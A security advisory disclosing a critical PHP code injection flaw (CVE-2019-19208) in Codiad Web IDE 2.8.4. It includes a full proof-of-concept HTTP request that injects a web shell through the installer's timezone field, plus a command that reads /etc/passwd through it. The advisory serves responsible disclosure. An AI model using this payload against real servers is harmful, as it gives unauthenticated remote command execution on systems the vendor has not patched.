usd-2019-0049 | Codiad Web IDE


Advisory ID: usd-2019-0049
CVE Number: CVE-2019-19208
Affected Product: Codiad Web IDE
Affected Version: v.2.8.4
Vulnerability Type: PHP Code injection
Security Risk: Critical – Remote Code Execution (RCE)
Vendor URL: http://codiad.com/
Vendor Status: Not fixed

Description

An unauthenticated attacker can inject PHP code that gets executed and therefore he can run arbitrary system commands on the server.

Proof of Concept (PoC)

Install Codiad following the instructions in the Github repository.
Beforethe initial configuration, intercept the POST Request or send the following payload:

POST /components/install/process.php HTTP/1.1
Host: codiad.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 170

path=/var/www/html/data&username=/tmp/dada&password=/tmp/dada&project_name=/tmp/dada&project_path=/var/www/html/data/data&timezone='")%3b+system($_GET["cmd"])%3b+print("'

Now you can inject system commands via the GET parameter „cmd“ like this:

http://codiad.local/data/config.php?cmd=cat /etc/passwd

Please note that this is also possible after the initial configuration by specifying a project path that does exists but was not used before.

Fix

Properly filter input that is written to PHP file.

Timeline

  • 2019-07-16 Tobias Neitzel discovered the bug
  • 2019-08-05 First contact attempt via GitHub issue
  • 2019-10-30 Second contact attempt via https://fluidbyte.github.io/
  • 2020-02-05 Security advisory released

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.